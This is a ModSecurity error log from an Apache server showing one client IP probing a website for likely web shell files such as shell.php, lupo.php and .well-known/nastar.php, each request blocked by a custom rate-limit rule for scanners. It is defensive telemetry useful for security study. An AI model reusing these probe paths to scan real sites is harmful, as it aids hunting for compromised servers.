[Fri Apr 17 03:47:52.500180 2026] [:error] [pid 9152:tid 9205] [client 20.166.31.184:35744] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeE86JJYca8I3TNCwIfHOQAAAE8"]
[Fri Apr 17 03:47:53.019548 2026] [:error] [pid 9263:tid 9280] [client 20.166.31.184:35748] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeE86RP68VyHNvj1e55_aAAAAM8"]
[Fri Apr 17 03:47:53.598070 2026] [:error] [pid 9263:tid 9276] [client 20.166.31.184:29073] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "aeE86RP68VyHNvj1e55_bAAAAMs"]
[Fri Apr 17 03:47:54.177262 2026] [:error] [pid 9153:tid 9234] [client 20.166.31.184:35901] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeE86uMHGxkTZX3c45elNwAAAJA"]
[Fri Apr 17 03:47:54.739124 2026] [:error] [pid 9153:tid 9230] [client 20.166.31.184:35758] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeE86uMHGxkTZX3c45elOAAAAIw"]
[Fri Apr 17 03:47:55.354169 2026] [:error] [pid 9151:tid 9161] [client 20.166.31.184:35881] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeE868hTVuRPkua22vRdSwAAAAA"]
[Fri Apr 17 03:47:56.075188 2026] [:error] [pid 9152:tid 9212] [client 20.166.31.184:29446] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "aeE87JJYca8I3TNCwIfHRQAAAFY"]
[Fri Apr 17 03:47:56.771430 2026] [:error] [pid 9263:tid 9269] [client 20.166.31.184:38362] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeE87BP68VyHNvj1e55_ggAAAMQ"]
[Fri Apr 17 03:47:57.888179 2026] [:error] [pid 9151:tid 9162] [client 20.166.31.184:32725] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeE87chTVuRPkua22vRdVwAAAAE"]
[Fri Apr 17 03:47:58.478467 2026] [:error] [pid 9263:tid 9276] [client 20.166.31.184:35726] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeE87hP68VyHNvj1e55_kwAAAMs"]
[Fri Apr 17 03:47:59.161680 2026] [:error] [pid 9153:tid 9235] [client 20.166.31.184:32641] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "aeE87-MHGxkTZX3c45elUgAAAJE"]
[Fri Apr 17 03:47:59.931363 2026] [:error] [pid 9153:tid 9239] [client 20.166.31.184:32668] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeE87-MHGxkTZX3c45elWAAAAJU"]
[Fri Apr 17 03:48:00.615402 2026] [:error] [pid 9152:tid 9209] [client 20.166.31.184:29103] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeE88JJYca8I3TNCwIfHYwAAAFM"]
[Fri Apr 17 03:48:01.642472 2026] [:error] [pid 9152:tid 9213] [client 20.166.31.184:38357] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeE88ZJYca8I3TNCwIfHbgAAAFc"]
[Fri Apr 17 03:48:02.369572 2026] [:error] [pid 9152:tid 9193] [client 20.166.31.184:29498] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "aeE88pJYca8I3TNCwIfHcQAAAEM"]
[Fri Apr 17 03:48:03.310597 2026] [:error] [pid 9152:tid 9204] [client 20.166.31.184:35851] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeE885JYca8I3TNCwIfHdAAAAE4"]
[Fri Apr 17 03:48:04.210098 2026] [:error] [pid 9153:tid 9241] [client 20.166.31.184:38588] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeE89OMHGxkTZX3c45elbQAAAJc"]
[Fri Apr 17 03:48:05.038780 2026] [:error] [pid 9263:tid 9266] [client 20.166.31.184:32767] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeE89RP68VyHNvj1e55_rgAAAME"]
[Fri Apr 17 03:48:05.858854 2026] [:error] [pid 9151:tid 9181] [client 20.166.31.184:26024] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aeE89chTVuRPkua22vRdYQAAABQ"]
[Fri Apr 17 03:48:07.121791 2026] [:error] [pid 9152:tid 9199] [client 20.166.31.184:38528] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeE895JYca8I3TNCwIfHewAAAEk"]
[Fri Apr 17 03:48:08.543817 2026] [:error] [pid 9263:tid 9283] [client 20.166.31.184:38578] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeE8-BP68VyHNvj1e55_ugAAANI"]
[Fri Apr 17 03:48:10.282612 2026] [:error] [pid 9152:tid 9205] [client 20.166.31.184:32663] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeE8-pJYca8I3TNCwIfHgAAAAE8"]
[Fri Apr 17 03:48:10.897816 2026] [:error] [pid 9152:tid 9209] [client 20.166.31.184:20920] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aeE8-pJYca8I3TNCwIfHggAAAFM"]
[Fri Apr 17 03:48:12.621615 2026] [:error] [pid 9152:tid 9207] [client 20.166.31.184:38389] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeE8_JJYca8I3TNCwIfHiAAAAFE"]
[Fri Apr 17 03:48:13.627384 2026] [:error] [pid 9151:tid 9166] [client 20.166.31.184:32704] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeE8_chTVuRPkua22vRdaAAAAAU"]
[Fri Apr 17 03:48:14.702620 2026] [:error] [pid 9263:tid 9276] [client 20.166.31.184:38356] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeE8_hP68VyHNvj1e55_yAAAAMs"]
[Fri Apr 17 03:48:16.532189 2026] [:error] [pid 9153:tid 9227] [client 20.166.31.184:35873] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeE9AOMHGxkTZX3c45elgAAAAIk"]
[Fri Apr 17 03:48:17.532024 2026] [:error] [pid 9152:tid 9210] [client 20.166.31.184:35868] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeE9AZJYca8I3TNCwIfHjQAAAFQ"]
[Fri Apr 17 03:48:18.390418 2026] [:error] [pid 9151:tid 9183] [client 20.166.31.184:29470] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeE9AshTVuRPkua22vRdagAAABY"]
[Fri Apr 17 03:48:19.030613 2026] [:error] [pid 9153:tid 9223] [client 20.166.31.184:32733] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeE9A-MHGxkTZX3c45elhAAAAIU"]
[Fri Apr 17 03:48:19.751305 2026] [:error] [pid 9153:tid 9241] [client 20.166.31.184:35714] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aeE9A-MHGxkTZX3c45eliQAAAJc"]
[Fri Apr 17 03:48:20.445929 2026] [:error] [pid 9153:tid 9230] [client 20.166.31.184:35885] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeE9BOMHGxkTZX3c45eljAAAAIw"]
[Fri Apr 17 03:48:21.284830 2026] [:error] [pid 9152:tid 9195] [client 20.166.31.184:32747] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeE9BZJYca8I3TNCwIfHmgAAAEU"]
[Fri Apr 17 03:48:22.161588 2026] [:error] [pid 9152:tid 9213] [client 20.166.31.184:29114] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeE9BpJYca8I3TNCwIfHngAAAFc"]
[Fri Apr 17 03:48:23.667422 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:38537] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aeE9BxP68VyHNvj1e55_4wAAANM"]
[Fri Apr 17 03:48:24.627764 2026] [:error] [pid 9263:tid 9289] [client 20.166.31.184:35879] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "aeE9CBP68VyHNvj1e55_6AAAANg"]
[Fri Apr 17 03:48:25.722695 2026] [:error] [pid 9151:tid 9168] [client 20.166.31.184:29500] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "aeE9CchTVuRPkua22vRdbAAAAAc"]
[Fri Apr 17 03:48:27.065118 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:35876] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "aeE9CxP68VyHNvj1e55_8gAAANM"]
[Fri Apr 17 03:48:27.991415 2026] [:error] [pid 9152:tid 9213] [client 20.166.31.184:32642] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "aeE9C5JYca8I3TNCwIfHrAAAAFc"]
[Fri Apr 17 03:48:29.275334 2026] [:error] [pid 9263:tid 9284] [client 20.166.31.184:32761] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeE9DRP68VyHNvj1e55__QAAANM"]
[Fri Apr 17 03:48:30.661438 2026] [:error] [pid 9151:tid 9162] [client 20.166.31.184:29455] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "aeE9DshTVuRPkua22vRdcQAAAAE"]
[Fri Apr 17 03:48:39.296185 2026] [:error] [pid 9263:tid 9265] [client 20.166.31.184:32763] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeE9FxP68VyHNvj1e56ASwAAAMA"]
[Fri Apr 17 03:48:40.005341 2026] [:error] [pid 9263:tid 9268] [client 20.166.31.184:32707] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeE9GBP68VyHNvj1e56AUAAAAMM"]
[Fri Apr 17 03:48:40.586085 2026] [:error] [pid 9263:tid 9275] [client 20.166.31.184:29449] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeE9GBP68VyHNvj1e56AVAAAAMo"]
[Fri Apr 17 03:48:41.258814 2026] [:error] [pid 9152:tid 9201] [client 20.166.31.184:20873] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeE9GZJYca8I3TNCwIfH0gAAAEs"]
[Fri Apr 17 03:48:41.899988 2026] [:error] [pid 9153:tid 9224] [client 20.166.31.184:32694] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeE9GeMHGxkTZX3c45emAAAAAIY"]
[Fri Apr 17 03:48:42.632313 2026] [:error] [pid 9263:tid 9274] [client 20.166.31.184:35899] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeE9GhP68VyHNvj1e56AYAAAAMk"]
[Fri Apr 17 03:48:43.346385 2026] [:error] [pid 9152:tid 9190] [client 20.166.31.184:29077] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeE9G5JYca8I3TNCwIfH2wAAAEA"]
[Fri Apr 17 03:48:44.053580 2026] [:error] [pid 9153:tid 9238] [client 20.166.31.184:35745] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeE9HOMHGxkTZX3c45emCQAAAJQ"]
[Fri Apr 17 03:48:44.725187 2026] [:error] [pid 9153:tid 9239] [client 20.166.31.184:35849] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "aeE9HOMHGxkTZX3c45emEAAAAJU"]
[Fri Apr 17 03:48:45.418075 2026] [:error] [pid 9152:tid 9204] [client 20.166.31.184:32659] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "aeE9HZJYca8I3TNCwIfH5gAAAE4"]
[Fri Apr 17 03:48:46.222059 2026] [:error] [pid 9151:tid 9182] [client 20.166.31.184:38339] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "aeE9HshTVuRPkua22vRdkAAAABU"]
[Fri Apr 17 03:48:46.870039 2026] [:error] [pid 9153:tid 9235] [client 20.166.31.184:20879] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "aeE9HuMHGxkTZX3c45emHgAAAJE"]
[Fri Apr 17 03:48:47.545872 2026] [:error] [pid 9263:tid 9287] [client 20.166.31.184:35712] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeE9HxP68VyHNvj1e56AdQAAANY"]
[Fri Apr 17 03:48:48.195665 2026] [:error] [pid 9263:tid 9275] [client 20.166.31.184:26289] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeE9IBP68VyHNvj1e56AfAAAAMo"]
[Fri Apr 17 03:48:48.769911 2026] [:error] [pid 9151:tid 9173] [client 20.166.31.184:38557] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeE9IMhTVuRPkua22vRdkQAAAAw"]
